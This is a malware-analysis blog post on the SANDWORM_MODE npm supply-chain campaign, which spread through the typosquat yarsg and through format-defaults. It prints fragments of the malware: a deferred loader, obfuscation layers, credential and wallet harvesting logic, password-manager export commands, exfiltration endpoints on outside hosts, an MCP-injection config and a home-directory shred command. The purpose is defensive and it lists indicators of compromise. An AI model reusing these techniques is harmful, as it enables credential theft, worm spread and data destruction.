npm SANDWORM_MODE Attack: Step-by-Step Malware Analysis
Table of Contents
TL;DR
The SANDWORM_MODE software supply chain attack campaign published malicious packages to npm that use setImmediate based deferred execution, multi-layer base64+zlib+XOR obfuscation, and temp file droppers to deliver a bundled malicious payload. We started by analyzing the typosquatted [email protected] but hit a dead end. The attacker appears to have missed to include the malicious payload in the published package, suggesting the campaign may have been released prematurely. We then pivoted to [email protected] where the full dropper chain was available.
Socket Security discovered and published a detailed write-up on the SANDWORM_MODE supply chain attack with technical details, impacted package versions, and indicators of compromise (IOC). We took one of the malicious samples, [email protected], and performed a step-by-step analysis to understand the payload delivery mechanism. We then moved to [email protected] for a complete view of the multi-stage dropper chain.
Impact on Compromise
- Credential theft: npm tokens, GitHub tokens, environment secrets, and git credential helper data exfiltrated
- Crypto wallet drain: Private keys, mnemonics, and wallet files (ETH, SOL, BTC) stolen
- Password manager exfiltration: Bitwarden, 1Password, and LastPass vaults searched for credentials
- Local data harvesting: Apple Notes, macOS Messages, and Joplin SQLite databases scanned for keys and secrets
- Worm propagation: Stolen npm tokens used to publish additional malicious packages, cascading the attack
- AI toolchain hijack: Malicious MCP server deployed to intercept Claude Code, Cursor, and Copilot sessions
Capturing the Samples
Our analysis systems captured the samples before they were removed from the npm registry. For this analysis, we start with [email protected]. The intentional typo in yarsg is a classic typosquat targeting the popular npm package yargs.
[email protected]
> shasum yarsg-18.0.1.tar.gz00cd947d484d8aa11dd5dea58c67e09d4fc7d25a yarsg-18.0.1.tar.gzGiven that this is a typosquat, we expected the malicious package to contain code from the original [email protected]. To confirm, we fetched the original from npm.
> npm view [email protected][...]dist.tarball: https://registry.npmjs.org/yargs/-/yargs-18.0.0.tgz.shasum: 6c84259806273a746b09f579087b68a3c2d25bd1.integrity: sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg==.unpackedSize: 231.4 kB[...]A diff of files between the malicious [email protected] and the original [email protected]:
25c25< 268 ./index.mjs---> 183 ./index.mjs57c57< 2704 ./package.json---> 1991 ./package.jsonOnly two files changed:
package.json: removesdevDependenciesand thepreparescriptindex.mjs: replaces the original entry point with a deferred loader for malicious code
The package.json diff confirms the typosquat. Name changed from yargs to yarsg, version bumped to 18.0.1, everything else left intact to appear legitimate.
--- yargs-18-0-0-package/package.json 1985-10-26 13:45:00+++ yarsg-18-0-1-package/package.json 1985-10-26 13:45:00@@ -1,6 +1,6 @@ {- "name": "yargs",- "version": "18.0.0",+ "name": "yarsg",+ "version": "18.0.1", "description": "yargs the modern, pirate-themed, successor to optimist.", "main": "./index.mjs", "exports": {@@ -42,30 +42,6 @@ "y18n": "^5.0.5", "yargs-parser": "^22.0.0" },- "devDependencies": {- "@babel/eslint-parser": "^7.26.10",- "@babel/preset-typescript": "^7.26.0",- [...]- "yargs-test-extends": "^1.0.1"- }, "scripts": { "fix": "gts fix && npm run fix:js", "fix:js": "eslint . --ext mjs --ext js --fix",@@ -73,7 +49,6 @@ "test": "c8 mocha --enable-source-maps ./test/*.mjs --require ./test/before.mjs --timeout=24000 --check-leaks", "test:esm": "c8 mocha --enable-source-maps ./test/esm/*.mjs --check-leaks", "coverage": "c8 report --check-coverage",- "prepare": "npm run compile", "pretest": "npm run compile -- -p tsconfig.test.json", "compile": "rimraf build && tsc", "check": "gts lint && npm run check:js",@@ -100,4 +75,4 @@ "engines": { "node": "^20.19.0 || ^22.12.0 || >=23" }-}+}\ No newline at end of fileThe index.mjs change is where the attack lives:
> diff -u yargs-18-0-0-package/index.mjs yarsg-18-0-1-package/index.mjs--- yargs-18-0-0-package/index.mjs 1985-10-26 13:45:00+++ yarsg-18-0-1-package/index.mjs 1985-10-26 13:45:00@@ -1,10 +1,6 @@ 'use strict';--// Bootstraps yargs for ESM:-import esmPlatformShim from './lib/platform-shims/esm.mjs';-import {YargsFactory} from './build/lib/yargs-factory.js';--const Yargs = YargsFactory(esmPlatformShim);-export default Yargs;--export {Yargs as 'module.exports'};+var _d = ['.cache','manifest.cjs'];+setImmediate(function() {+ try { require('./' + _d.join('/')); } catch(_) {}+});+module.exports = require('./index.unbundled.mjs');The modified entry point references two files:
./.cache/manifest.cjs: the malicious payload, loaded viasetImmediateto defer execution./index.unbundled.mjs: presumably the originalindex.mjsfrom[email protected], re-exported to maintain functionality
Neither file existed in the published package. Two possible explanations:
- The attacker forgot to include these files in the
filesarray inpackage.json - The attacker planned a multi-stage dependency chain where these files would be created by another package
We believe [1] is the most likely explanation. That said, our past experience taught us that attacker creativity has no bounds, which is why it is worth noting alternative possibilities.
Moving to [email protected]
With [email protected] missing its payload files, we moved to [email protected] from our dataset. We chose this sample because:
- It is among the malicious packages identified by Socket Security
- Our internal dataset shows it is a minimal, self-contained package that drops the payload directly
> shasum format-defaults-1.0.0.tar.gz10d99c964f601f56fa21f0f05aeed872517b0e37 sample.tar.gz❯ ls -alRtotal 32drwxr-xr-x 7 dev staff 224 21 Feb 10:08 .drwxr-xr-x 4 dev staff 128 21 Feb 10:08 ..-rw-r--r--@ 1 dev staff 1643 26 Oct 1985 index.jsdrwxr-xr-x 4 dev staff 128 21 Feb 10:08 lib-rw-r--r--@ 1 dev staff 1056 26 Oct 1985 LICENSE-rw-r--r--@ 1 dev staff 719 26 Oct 1985 package.json-rw-r--r--@ 1 dev staff 1358 26 Oct 1985 README.md
./lib:total 368drwxr-xr-x 4 dev staff 128 21 Feb 10:08 .drwxr-xr-x 7 dev staff 224 21 Feb 10:08 ..-rw-r--r--@ 1 dev staff 180766 26 Oct 1985 defaults.js-rw-r--r--@ 1 dev staff 738 26 Oct 1985 locales.jsThe package.json sets index.js as the main entry point, executed on require('format-defaults').
Inspecting index.js reveals the same deferred execution pattern we saw in yarsg:
// [.. STRIPPED ... ]var _exports = (module.exports = { locales: locales,
// [.. STRIPPED ..] configure: function (opts) { // [.. STRIPPED ..] try { var _d = require('./lib/defaults'); if (_d && _d._apply) { _d._apply(info, opts); } } catch (_) {} }, // [..STRIPPED..]});
// Auto-apply locale defaults on first requiresetImmediate(function () { try { _exports.configure({}); } catch (_) {}});The setImmediate call asynchronously invokes _exports.configure, which loads ./lib/defaults.js containing the actual malicious payload. Error swallowing via catch(_) {} ensures silent failure if anything goes wrong.
Layer 1: base64 Fragments + zlib Inflate
The defaults.js contains encoded payload which is decoded and loaded by an embedded loader function.


The defaults.js file contains a _catalog object with 44 base64 encoded string fragments (_loc_000 through _loc_043), disguised as “locale data”. The payload execution chain:
- Assembles ~180KB of
base64data from the_catalogfragments - Decodes it using
zlib.inflateSync(Buffer.from(raw, 'base64'))into executable JavaScript source - Writes it to a random temp file:
os.tmpdir() + '/.' + random + '.js'(dot-prefixed to be hidden) - Executes it via
require(_f) - Deletes it immediately in a
finallyblock via_fs.unlinkSync(_f)
To examine the decoded payload, we ran the analysis inside a Docker container.
docker run -it --rm -v $(pwd):/app node:24 bashNote: All further analysis was done inside the container. The current directory was mounted inside and considered untrusted after analysis.
We modified defaults.js to log the decoded script instead of writing to /tmp and executing it. This was the shortest path to extracting the obfuscated malicious logic.

Layer 2: zlib Inflate + XOR Cipher
Extracting the Layer 1 payload revealed another layer of obfuscation. The second stage uses similar base64+zlib decompression, but followed by a rotating 32-byte XOR key.
(function(){var _p=(function(){ var d="eNqMfHdU0+nWNQKCo6goWMaGOAIW4MLIoFKUJPQQAgQkPRSxMKPY6CCphBZIQhohCQERRxAxIF0UkWHoHSGEgNeZQREQUASG0fitEJxy7/uu7/3......"d=require('zlib').inflateSync(Buffer.from(d,'base64')).toString('binary'); var k=[214,232,243,62,189,212,19,46,155,184,197,42,240,85,159,72,224,228,85,241,242,61,45,131,88,247,12,49,40,249,46,54];d=d.split('').map(function(c,i){return String.fromCharCode(c.charCodeAt(0)^k[i%k.length])}).join(''); return d;})();(0,eval)(_p)})();The XOR key is not printable ASCII. It is random binary material, not a passphrase. This step ensures the inflated output cannot be pattern matched by signature scanners. The decoded result is executed through indirect eval ((0, eval)(_p)), which forces execution in global scope.
We applied the same technique: modify the script to print the decoded output instead of executing it.

Layer 3: AES-256-GCM Encrypted Module
The Layer 2 extraction output is a webpack bundled JavaScript program. Inside it, an AES-256-GCM encrypted blob loads the most sensitive attack modules: propagation, exfiltration, git hook persistence, MCP injection, and the dead switch. The 32-byte decryption key is derived by XOR-ing two sets of four 8-byte buffers:
var e = [Buffer.from("e02136b6765a4d30","hex"), ...];var t = [Buffer.from("43270f48a6a7025e","hex"), ...];var s = Buffer.alloc(32);for (var n = 0; n < 4; n++) for (var o = 0; o < 8; o++) s[8*n+o] = e[n][o] ^ t[n][o];The split-key derivation ensures the actual AES key never appears as a single string in the source. The decrypted code is written to /dev/shm (Linux) or os.tmpdir(), loaded via require(), then immediately unlinked. The same write-execute-delete anti-forensics pattern used in every layer.
These AES-protected modules are also gated behind a 48-hour time delay (covered in Execution Timing below), meaning sandboxes that run packages for only minutes never reach this layer.
Each layer defeats a different class of detection: Layer 1 hides the payload from static string scanners, Layer 2 defeats pattern matching on the inflated output, and Layer 3 protects the most sensitive modules behind authenticated encryption with a time-gated trigger.
Execution Timing
The payload activates automatically on require('format-defaults'). No lifecycle scripts, no explicit function call needed. But it does not fire immediately in all environments.
In CI environments (detected via GITHUB_ACTIONS, GITLAB_CI, CIRCLECI, JENKINS_URL, BUILDKITE), the payload runs immediately. In local/developer environments, it delays execution by 5 to 30 seconds using a host-fingerprinted jitter:
const e = 5e3 + (i.createHash('md5').update(`${r.hostname()}${r.userInfo().username}${__dirname}`).digest().readUInt32BE(4) % 25e3);setTimeout(() => d().catch(() => {}), e).unref();The .unref() ensures the timer does not keep the Node.js process alive, so the malware runs invisibly during normal process lifetime without preventing exit.
A secondary gate prevents the full attack from firing until ~48 hours after installation, using the package directory’s mtime plus a per-host jitter:
const t = n.statSync(e).mtimeMs;const s = i.createHash('md5').update(`${r.hostname()}${r.userInfo().username}`).digest().readUInt32BE(0) % p.stage2.jitterRangeMs;const c = t + p.stage2.baseDelayMs + s; // baseDelayMs = 172800000 (48h)return Date.now() >= c;This evades automated sandbox analysis, which typically runs packages for only minutes.
Payload Behavior
The final decrypted payload is a webpack bundled application that executes six phases sequentially.
Phase 1: Reconnaissance
The payload fingerprints the host system before doing anything else:
survey() { return { environment: e.isCi ? "ci" : "local", ciProvider: e.provider, runtime: { bunAvailable: !!t, nodeVersion: process.version, pid: process.pid }, system: s, // platform, arch, hostname, username, cpus, totalMem, uptime };}It detects multiple CI providers including GitHub Actions, GitLab CI, CircleCI, Buildkite, AWS CodeBuild, Jenkins, Travis, and Azure DevOps.
Phase 2: Credential Harvesting
A comprehensive credential collector targeting five categories.
npm tokens from .npmrc files and environment variables:
npmrc: [ n.join(o.homedir(), ".npmrc"), n.join(process.cwd(), ".npmrc"),],Extracts :_authToken=, :_auth= (base64 basic auth), and proxy credentials. Also reads NPM_TOKEN, NPM_CONFIG_TOKEN, NPM_AUTH_TOKEN from the environment.
GitHub tokens from multiple sources:
// Environment variables with known prefixestokenPrefixes: ['ghp_', 'gho_', 'github_pat_'];
// gh CLI confign.readFileSync(a.harvest.github.cliConfig, 'utf-8').match(/oauth_token:\s*(.+)/g);
// Git credential helpert('git credential fill', { input: 'protocol=https\nhost=github.com\n\n', env: { ...process.env, GIT_TERMINAL_PROMPT: '0' },});Environment secrets by scanning all environment variables for keywords:
envKeywords: ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AUTH', 'API'];Cryptocurrency assets, the most extensive harvesting category:
configFiles: ["hardhat.config.js", "hardhat.config.ts", "foundry.toml", ".secret", ".env", ".env.local", ".env.production"],keyPatterns: { ethPrivateKey: "(?:0x)?[0-9a-fA-F]{64}", mnemonic: "(?:[a-z]+\\s){11,24}[a-z]+", solanaKey: "\\[\\s*\\d+(?:\\s*,\\s*\\d+){31,63}\\s*\\]", bitcoinWif: "(?:5[1-9A-HJ-NP-Za-km-z]{50}|[KL][1-9A-HJ-NP-Za-km-z]{51})", extendedPrivKey: "xprv[1-9A-HJ-NP-Za-km-z]{100,115}",},It reads Solana CLI wallet files at ~/.config/solana/id.json and scans the current working directory and all non-hidden directories under $HOME for config files containing private keys or mnemonics.
Password managers via their CLIs, if sessions are unlocked:
// Bitwarden: searches items by crypto-related termse(`bw list items --search ${JSON.stringify(o)}${n} 2>/dev/null`, ...)
// 1Password: lists items then fetches full details for matchese(`op item get ${JSON.stringify(n.id)} --format json 2>/dev/null`, ...)
// LastPass: exports entire vaulte("lpass export 2>/dev/null", ...)Search terms used across all three managers:
pmSearchTerms: [ 'seed', 'mnemonic', 'wallet', 'crypto', 'private key', 'recovery', 'backup phrase', 'secret phrase', 'ledger', 'metamask', 'bitcoin', 'ethereum', 'xprv',];The malware also searches SQLite databases including Apple Notes, macOS Messages, and Joplin for cryptographic keys:
sqliteTargets: [ { name: 'apple-notes', path: '~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite', query: "SELECT ZTITLE || ' ' || ZSNIPPET FROM ZICCLOUDSYNCINGOBJECT ...", }, { name: 'macos-messages', path: '~/Library/Messages/chat.db', query: 'SELECT text FROM message WHERE text IS NOT NULL AND length(text) > 20;', }, { name: 'joplin', path: '~/Library/Application Support/joplin-desktop/database.sqlite', query: "SELECT title || ' ' || body FROM notes WHERE body IS NOT NULL;", },];Before proceeding to later phases, any discovered crypto keys are immediately exfiltrated to a dedicated drain endpoint.
drain: { endpoint: "https://pkg-metrics.official334.workers.dev/drain", authToken: "fa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb",}Phase 3: Worm Propagation
This is the worm component, similar to the Shai-Hulud worms (a previous npm worm-style supply chain campaign observed in the wild) that we have analyzed in the past. The malware uses stolen npm and GitHub tokens to publish poisoned packages to the live npm registry:
propagation: { maxPackages: 100, delayMinMs: 30000, // 30 seconds between publishes delayMaxMs: 300000, // 5 minutes sortByDownloads: true, skipScoped: false,},registry: { live: "https://registry.npmjs.org" }Each infected developer’s tokens are used to publish further malicious packages, creating a cascading supply chain attack.
Phase 4: Git Hook Persistence
The malware scans for git repositories and installs malicious hooks:
gitHooks: { enabled: true, maxRepos: 50, scanDepth: 4, installPreCommit: true, installPrePush: true, setTemplate: true,}By setting a global git template, all future git init and git clone operations on the machine include the malicious hooks.
Phase 5: MCP Server Injection
The malware deploys a malicious Model Context Protocol server to hijack AI assisted development tools (Claude Code, Cursor, Copilot, etc.):
mcp: { enabled: true, _namePool: { prefixes: ["dev","ts","node","npm","eslint","project","workspace","lint","pkg","build"], functions: ["utils","indexer","analyzer","tools","helper","bridge","server","cache","graph", "watcher","scanner","manager"], dirPrefixes: [".dev",".node",".project",".ts",".workspace",".npm",".lint",".build", ".pkg",".cache"], },}Server and directory names are randomized from these pools (e.g., eslint-analyzer in .node-cache), making detection by name impractical. The module also discovers local LLM installations and harvests LLM API keys.
Phase 6: Exfiltration
All harvested data is exfiltrated via three redundant channels.
HTTPS via direct POST to a Cloudflare Worker:
exfil: { https: { endpoint: "https://pkg-metrics.official334.workers.dev/exfil", timeout: 8000, },GitHub by creating private repositories with stolen tokens, storing double base64-encoded data in innocuously named files:
github: { repoNameLength: 18, encoding: "double-base64", private: true,}DNS via base32-encoded queries with DGA (domain generation algorithm) fallback:
dns: { domain: "freefan.net", secondaryDomains: ["fanfree.net"], chunkSize: 63, encoding: "base32", dgaTlds: ["cc","io","xyz","top","pw","tk","ws","gg","ly","mx"],}The DGA seed is derived from a host specific HMAC:
e.createHmac('sha256', 'sw2025') .update(`${o.hostname()}:${o.userInfo().username}:${o.platform()}:${o.arch()}`) .digest('hex') .slice(0, 16);Dead Switch
The payload evaluates whether propagation and exfiltration both failed. If the dead switch triggers, a getDestructCommand() method is available:
// Linux`find "${n.homedir()}" -type f -writable -user "${e}" -print0 | xargs -0 -r shred -uvz -n 1`// Windows`cipher /W:${n.homedir()}`;Currently configured as disabled:
deadSwitch: { enabled: false, trigger: "both-fail" }This is a data destruction capability: shredding all writable files in the user’s home directory, held in reserve.
Configuration Infrastructure
The payload exposes extensive runtime configuration using environment variables.
| Variable | Purpose |
|---|---|
SANDWORM_DEBUG | Enables console.log/console.error logging |
SANDWORM_MODE | live / ci / simulation mode |
SANDWORM_EXFIL_ENDPOINT | Override exfil C2 endpoint |
SANDWORM_DNS_DOMAIN | Override DNS exfil domain |
SANDWORM_DGA_SEED | Override DGA seed |
SANDWORM_DRAIN_ENDPOINT | Override crypto drain endpoint |
SANDWORM_SKIP_MTIME | Bypass the 48-hour stage 2 gate |
SANDWORM_SKIP_DELAY | Bypass initial execution delay |
SANDWORM_MAX_PACKAGES | Cap on worm propagation count |
SANDWORM_CARRIER_NAME | Named carrier package for typosquat propagation |
A disabled polymorphism module suggests planned future capability:
polymorph: { enabled: false, endpoint: "http://localhost:11434/api/generate", model: "deepseek-coder:6.7b", transformations: ["rename-vars", "rewrite-flow", "insert-decoy", "encode-strings"],}This would use a local LLM to rewrite the malware’s own code: variable renaming, control flow changes, decoy insertion, and string encoding, generating unique variants per infection.
Indicators of Compromise
Network Indicators
| Indicator | Value |
|---|---|
| Exfil endpoint | https://pkg-metrics.official334.workers.dev/exfil |
| Drain endpoint | https://pkg-metrics.official334.workers.dev/drain |
| Drain auth token | fa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb |
| DNS exfil domain | freefan.net |
| DNS secondary domain | fanfree.net |
| DGA TLDs | cc, io, xyz, top, pw, tk, ws, gg, ly, mx |
| HMAC key for DGA seed | sw2025 |
File System Indicators
| Indicator | Description |
|---|---|
Temp files matching .<random>.js in $TMPDIR or /dev/shm | Write-execute-delete payload staging |
Hidden directories matching .dev-*, .node-*, .project-* in $HOME | MCP server deployment |
Modified .git/hooks/pre-commit and .git/hooks/pre-push | Git hook persistence |
| Modified global git template directory | Persistent hook installation for all new repos |
| Private GitHub repos with 18-char random names | Exfiltration data stores |
Shared Fingerprint with yarsg
Both format-defaults and the yarsg typosquat share the same deferred-silent-execution pattern:
setImmediate(function () { try { /* malicious require */ } catch (_) {}});The setImmediate decouples execution from module loading. The catch(_) {} with a throwaway variable ensures completely silent failure. This shared fingerprint suggests a common toolkit or author.
Conclusion
SANDWORM_MODE is not a novel technique. Deferred execution, multi-layer obfuscation, and write-execute-delete techniques are established patterns in npm supply chain attacks. What makes this campaign notable is the breadth of its payload. This includes credential harvesting across five categories, worm propagation using stolen tokens, git hook persistence, MCP server injection targeting AI developer tools, and three redundant exfiltration channels. The disabled dead switch and polymorphism module suggest this toolkit is still under active development.
The 48-hour time gate is particularly effective. Most automated analysis environments run packages for minutes, not days. By the time the full payload fires, the package has already passed initial screening.
Defending against this class of attack requires catching malicious packages before they enter your dependency tree. vet can scan your dependencies and flag packages exhibiting these patterns. pmg acts as a package manager guard, intercepting installs in real time before untrusted code reaches your environment.
- npm
- supply-chain
- security
- malware-analysis
Author
safedep
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

AI Agent Cline v2.3.0 Compromised: From Prompt Injection to Unauthorized npm Publish
A compromised npm token was used to publish a tampered version of Cline CLI. A prompt injection vulnerability in Cline's AI-powered GitHub Actions workflow may have enabled the credential theft.

End-to-End test with Nextjs, Playwright and MSW
A practical Next.js 16 App Router E2E setup with Playwright and MSW that keeps server-side fetch deterministic by focusing mocking where it matters, not on server actions.

Why We Built a Hosted MCP Server to Stop Malicious Packages for AI Agents
Exposing an MCP server is trivial. Making it useful for AI agents is not. Here's what we learned dogfooding our own tool, and why we built a hosted MCP server backed by real-time open source threat...

Agent Skills Threat Model
Discover critical security threats in Agent Skills - Anthropic's open format for AI agent capabilities. Learn about supply chain attacks, deferred code execution, prompt injection, and multiple...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
